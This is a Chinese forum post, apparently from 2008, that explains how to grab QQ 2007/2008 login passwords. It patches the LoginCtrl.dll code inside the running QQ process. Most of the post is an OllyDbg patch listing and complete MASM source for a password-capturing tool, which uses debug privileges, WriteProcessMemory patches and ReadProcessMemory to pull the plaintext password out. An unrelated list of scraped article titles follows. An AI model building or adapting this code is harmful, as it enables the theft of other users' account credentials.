作 者: 4st0ne
时 间: 2008-03-20,10:28
链 接: http://bbs.pediy.com/showthread.php?t=61577

本文参考于open[xgc]大侠的"利用Debug Api 获得QQ2007密码",我只是换了语言换了方法,其实思路还是一样的.再次对open[xgc]表示感谢.

标 题: 修改QQ执行顺序,获取QQ2008最新版密码
作 者: sLtYJ(4stone)
版权声明: 本文纯属技术交流, 转载请注明作者并保持文章的完整, 谢谢!

参考open[xgc]大侠的文章,找到2007 7.1.643.400版及2008 8.0.714.201版本QQ的密码出现点,修改代码跳转至空白位置,然后将代码按个写入自己找到的空白位置即可.

列出2007办部分修改后的代码:
021A638A  |> /43            / INC  EBX
021A638B  |. |6A 01         | PUSH 1
021A638D  |. |8BC3          | MOV  EAX,  EBX
021A638F  |. |0FAFC6        | IMUL  EAX,  ESI
021A6392     |8A4C08 FF      MOV  CL,  BYTE  PTR  DS:[ EAX+ ECX-1]
021A6396     |E9 4F240100    JMP LoginCtr.021B87EA  //修改点,跳至空白点
021A639B     |90             NOP
021A639C     |90             NOP
021A639D     |90             NOP
021A639E     |90             NOP
021A639F     |90             NOP
021A63A0  |. |50            | PUSH  EAX
021A63A1     |884D D4        MOV  BYTE  PTR  SS:[ EBP-2C],  CL
021A63A4     |E8 4AD30000    CALL LoginCtr.021B36F3
021A63A9  |. |8B57 44       | MOV  EDX,  DWORD  PTR  DS:[ EDI+44]
021A63AC  |. |83C4 0C       | ADD  ESP, 0C
021A63AF  |. |8B0A          | MOV  ECX,  DWORD  PTR  DS:[ EDX]
021A63B1  |. |8B72 0C       | MOV  ESI,  DWORD  PTR  DS:[ EDX+C]
021A63B4  |. |8B41 F8       | MOV  EAX,  DWORD  PTR  DS:[ ECX-8]
021A63B7  |. |99            | CDQ
021A63B8  |. |F7FE          | IDIV  ESI
021A63BA     |3BD8           CMP  EBX,  EAX
021A63BC    ^/7C CC          JL  SHORT LoginCtr.021A638A

补上自己的代码:
021B87EA      52             PUSH  EDX
021B87EB      BA 56CC1200    MOV  EDX, 12CC56
021B87F0      03D3           ADD  EDX,  EBX    //借用QQ程序本身的 EBX计数器
021B87F2      36:880A        MOV  BYTE  PTR  SS:[ EDX],  CL   //向12CC56开始逐个写入密码
021B87F5      5A             POP  EDX
021B87F6      8D45 D4        LEA  EAX,  DWORD  PTR  SS:[ EBP-2C]
021B87F9      50             PUSH  EAX
021B87FA      8D85 58FFFFFF  LEA  EAX,  DWORD  PTR  SS:[ EBP-A8]
021B8800    ^ E9 9BDBFEFF    JMP LoginCtr.021A63A0  //跳回原处继续执行
021B8805      90             NOP

用ASM代码实现如下:

GetQQpwd.Asm

引用:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Dialog.asm
; 对话框资源使用的模板代码
     .386
     .model  flat,  stdcall
     option  casemap : none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    GetQQpwd.inc
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
         .code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
StrLen  PROC  uses  edi String: DWORD
         mov  edi,String
         mov  al,0
         mov  ecx,0FFFFFFFFh
         repne  scasb
         sub  ecx,0FFFFFFFFh
         neg  ecx
         dec  ecx
         mov  eax, ecx
         ret
StrLen  ENDP
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;    权限提升
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_EnablePrivilege  proc szPriv: DWORD, bFlags: DWORD
     LOCAL      hToken
     LOCAL       tkp : TOKEN_PRIVILEGES

invoke     GetCurrentProcess
     mov        edx,  eax
     invoke     OpenProcessToken,  edx, TOKEN_ADJUST_PRIVILEGES  or TOKEN_QUERY,  addr hToken
     invoke     LookupPrivilegeValue, NULL, szPriv,  addr tkp.Privileges.Luid
     mov      tkp.PrivilegeCount, 1
     xor        eax,  eax

.if     bFlags
           mov     eax, SE_PRIVILEGE_ENABLED
     .endif

mov       tkp.Privileges.Attributes,  eax
     invoke     AdjustTokenPrivileges, hToken,  FALSE,  addr tkp, 0, 0, 0
     push        eax
     invoke     CloseHandle, hToken
     pop        eax

ret
_EnablePrivilege  endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_ProcTimer     proc     uses  ebx  edi  esi _hWnd,_uMsg,_idEvent,_dwTime

.if    !hQQ
             invoke    FindWindowA,ctxt( "#32770"),ctxt( "QQ用户登录")
             .if     eax
                 invoke    GetWindowThreadProcessId, eax, addr QQpid
                 invoke    OpenProcess,PROCESS_ALL_ACCESS, FALSE,QQpid
                 mov    hQQ, eax
                 invoke    SetWindowText,hWinMain,ctxt( "QQ已启动-请输入密码并点登录")
                 invoke      CreateToolhelp32Snapshot,TH32CS_SNAPALL,QQpid
                 mov         hSnapShot, eax
                 mov         myModule.dwSize, sizeof myModule
                 invoke    Module32First,hSnapShot, addr myModule
                 jmp    Cmp1
            NextModule:
                 invoke    Module32Next,hSnapShot, addr myModule
            Cmp1:
                 invoke    lstrcmp, addr myModule.szModule,ctxt( "LoginCtrl.dll")
                 cmp     eax,0
                 jnz     NextModule
                 mov     ebx,myModule.modBaseAddr
                 add     ebx,16396h ;2008:16DE0h,2007:16396h
                 invoke    ReadProcessMemory,hQQ, ebx, addr dbOldBytes,2,NULL
                 mov     ax, word  ptr dbOldBytes
                 .if     ax ==  word  ptr db2007
                     invoke    WriteProcessMemory,hQQ, ebx, addr dbPatched1,10,NULL
                     add     ebx,12454h ;2008:134EAh 2007:12454h
                     invoke    WriteProcessMemory,hQQ, ebx, addr dbPatched2,28,NULL
                     invoke    WriteProcessMemory,hQQ,12B000h,0,16,NULL
                 .elseif     ax ==  word  ptr db2008
                     add     ebx,0A4Ah
                     invoke    WriteProcessMemory,hQQ, ebx, addr dbPatched3,10,NULL
                     add     ebx,134EAh
                     invoke    WriteProcessMemory,hQQ, ebx, addr dbPatched4,27,NULL
                     invoke    WriteProcessMemory,hQQ,12B000h, addr dbNull,16h,NULL
                 .endif
             .endif
         .else
             invoke    ReadProcessMemory,hQQ,12B000h, addr QQpwd,sizeof QQpwd,NULL
             invoke    StrLen, addr QQpwd
             .if     eax
                 invoke    SetDlgItemText,hWinMain,IDC_EDT1, addr QQpwd
                 invoke    WriteProcessMemory,hQQ,12B000h, addr dbNull,16h,NULL
             .endif
                 invoke    FindWindow,ctxt( "#32770"),ctxt( "QQ用户登录")
             .if    ! eax
                 mov    hQQ,0
                 invoke    SetWindowText,hWinMain,ctxt( "QQ未运行")
             .endif
         .endif
         ret

_ProcTimer     endp
_ProcDlgMain     proc     uses  ebx  edi  esi hWnd,wMsg,wParam,lParam

mov     eax,wMsg
         .if     eax == WM_COMMAND
             mov     eax,wParam
             .if     ax == IDC_btExit
                 invoke    EndDialog,hWnd,NULL
             .endif
         .elseif     eax == WM_CLOSE
             invoke    EndDialog,hWnd,NULL
         .elseif     eax == WM_INITDIALOG
             invoke    LoadIcon,hInstance,ICO_MAIN
             invoke    SendMessage,hWnd,WM_SETICON,ICON_BIG, eax
             invoke    SetTimer,NULL,NULL,1000, addr _ProcTimer
             mov    idTimer, eax
             push    hWnd
             pop    hWinMain
             invoke     _EnablePrivilege,ctxt( "SeDebugPrivilege"),  TRUE
             invoke    SendDlgItemMessage,hWnd,IDC_EDT1,EM_SETREADONLY, TRUE,0
             invoke      SetWindowPos,hWnd,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE  or SWP_NOSIZE
         .else
             mov     eax, FALSE
             ret
         .endif
         mov     eax, TRUE
         ret

_ProcDlgMain     endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
         invoke    GetModuleHandle,NULL
         mov    hInstance, eax
         invoke    InitCommonControls
         invoke    DialogBoxParam,hInstance,DLG_MAIN,NULL, offset _ProcDlgMain,NULL
         invoke    ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
         end    start

GetQQpwd.inc

引用:

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include        windows.inc
include        user32.inc
includelib        user32.lib
include        kernel32.inc
includelib        kernel32.lib
include        advapi32.inc
includelib        advapi32.lib
include        comctl32.inc
includelib        comctl32.lib
include        psapi.inc
includelib        psapi.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Equ 等值定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
ID_TIMER1     equ    10
DLG_MAIN     equ    1
IDC_EDT1         equ     2
ICO_MAIN      equ    99
IDC_btExit     equ    1000
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
         .data?

hInstance         dd        ?
hWinMain         dd        ?
idTimer         dd        ?
QQpid         dd        ?
hQQ         dd        ?
modArr         db        1024 dup(?)
dwNumMod     dd        ?
myModule                 MODULEENTRY32  <>
hSnapShot     dd        ?
QQpwd         db        22 dup(?)
dbOldBytes     db        2 dup (?)

.data
        
db2007         db        8Dh,45h
db2008         db        6Ch,88h    
dbPatched1     db        0E9h,4Fh,24h,01h,00h,90h,90h,90h,90h,90h
dbPatched2     db        52h, 0BAh, 0FFh, 0AFh, 12h, 00h, 03h, 0D3h, 36h, 88h, 0Ah, 5Ah, 8Dh, 45h, 0D4h, 50h, 8Dh, 85h, 58h, 0FFh, 0FFh, 0FFh, 0E9h, 9Bh, 0DBh, 0FEh, 0FFh, 90h
dbPatched3     db        0E9h, 0E5h, 34h, 01h, 00h, 90h, 90h, 90h, 90h, 90h
dbPatched4     db        52h, 0BAh, 0FFh, 0AFh, 12h, 00h, 03h, 0D3h, 36h, 88h, 0Ah, 5Ah, 8Dh, 45h, 0D4h, 50h, 8Dh, 85h, 58h, 0FFh, 0FFh, 0FFh, 0E9h, 05h, 0CBh, 0FEh, 0FFh
dbNull         db        00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h,00h

注:刚学ASM不久,代码可能显得很乱很烦,各位看官多多包涵.

修改QQ执行顺序,获取QQ2008最新版密相关推荐

  1. 【pytest】Hook 方法之 pytest_collection_modifyitems:修改测试用例执行顺序

    pytest_collection_modifyitems 是在用例收集完毕之后被调用,可以用来调整测试用例执行顺序: 它有三个参数,分别是: session:会话对象: config:配置对象: i ...

  2. 从矩阵乘法来看-O优化和ijk执行顺序对程序性能的影响

    从矩阵乘法来看-O优化和ijk执行顺序对程序性能的影响 根据计算矩阵乘积的c程序,主要想做想做两件事情: 统计采用不同的优化选项编译程序所用的时间,感受-O优化带来的性能提升. 看看矩阵乘法中不同循环 ...

  3. 自定义修改QQ在线状态最新版源码

    介绍: 自定义网页在线修改QQ在线状态,需SVIP才可实现,先看使用教程获取设备IMEI. 网盘下载地址: https://zijiewangpan.com/j0gSAgwHUjO 图片:

  4. main线程 子线程 顺序_面试官:线程池如何按照core、max、queue的执行顺序去执行?详解...

    前言 这是一个真实的面试题. 前几天一个朋友在群里分享了他刚刚面试候选者时问的问题:"线程池如何按照core.max.queue的执行循序去执行?". 我们都知道线程池中代码执行顺 ...

  5. adguard没有核心 core no_面试官:线程池如何按照core、max、queue的执行顺序去执行?...

    前言 这是一个真实的面试题. 前几天一个朋友在群里分享了他刚刚面试候选者时问的问题:"线程池如何按照core.max.queue的执行循序去执行?". 我们都知道线程池中代码执行顺 ...

  6. 2020年 IOS 逆向 反编译 注入修改游戏或APP的调用参数新手系列教程——使用theos tweak 注入hook修改游戏执行代码上传动态头像

    2020年 IOS 逆向 反编译 注入修改游戏或APP的调用参数新手系列教程--使用theos tweak 注入hook修改游戏执行代码上传动态头像 开篇 需求&最终效果 环境要求与即将使用的 ...

  7. Jmeter组件执行顺序与作用域

    一.Jmeter重要组件: 1)配置元件---Config Element: 用于初始化默认值和变量,以便后续采样器使用.配置元件大其作用域的初始阶段处理,配置元件仅对其所在的测试树分支有效,如,在同 ...

  8. springboot过滤字段_SpringBoot自定义过滤器的两种方式及过滤器执行顺序

    第一种 @WebFilter + @ServletComponentScan 注解 1.首先自定义过滤器 如下自定义过滤器 ReqResFilter必须实现  javax.servlet.Filter ...

  9. asp.net中page对象生命周期和各事件执行顺序

    asp.net页面事件执行顺序: 一.初始化部分: 1.构造函数:创建page类的一个实例,初始化page类的属性. 2.AddParsedSubObject函数: protected virture ...

最新文章

  1. Delphi中将DBGRID中的内容输出到WORD中
  2. 网易云音乐刷听歌量_榆林网易云音乐粉丝量主要方式
  3. [YTU]_1096( 字符逆序)
  4. 我作为开发者犯过的两次愚蠢的错误
  5. 08 | 替换策略: 缓存满了怎么办?
  6. P2324 骑士精神
  7. (六)数据结构之“集合”
  8. 设置ViewPager 自动滑动时间,速度 方便展示动画
  9. nodejs readfilesync 路径_Linux 磁盘多路径聚合multipath
  10. filtic函数 matlab_matlab filtic 函数应用 filter 解差分方程 dft 函数
  11. Java 即将迎来转折点
  12. pd虚拟机专用windows系统镜像(m1/intel)「新增:Intel Mac win7专业版懒人包镜像」
  13. shell脚本俄罗斯方块小游戏
  14. Bilibili弹幕文件参数
  15. 教师节快乐:带大家回顾这十位大师笔下的教师!
  16. 点对点语音通信(转)
  17. php常用正则表达式,验证用户名,密码,Email,Url等等
  18. 唤醒词检测引擎Snowboy
  19. Nginx介绍及配置 (一)
  20. 【原创】建立与保持时间裕量详细分析

热门文章

  1. 【Spring Cloud】Sleuth+Zipkin全链路日志追踪接入实战
  2. 【AD】差分布线/蛇形布线/等长布线
  3. 计算机高级职称论文写什么题目,计算机高级职称论文发表
  4. Python-数据处理:iloc和loc的用法
  5. “好人综合症”是一种心理疾病
  6. 纯前端如何在网页端播放摄像头的实时画面
  7. SQLAlchemy简明教程
  8. Android 音乐播放器的开发教程(二)反编译apk ----- 小达
  9. win 10自带邮箱接收163邮件
  10. VisualStudio2019安装VisualAssist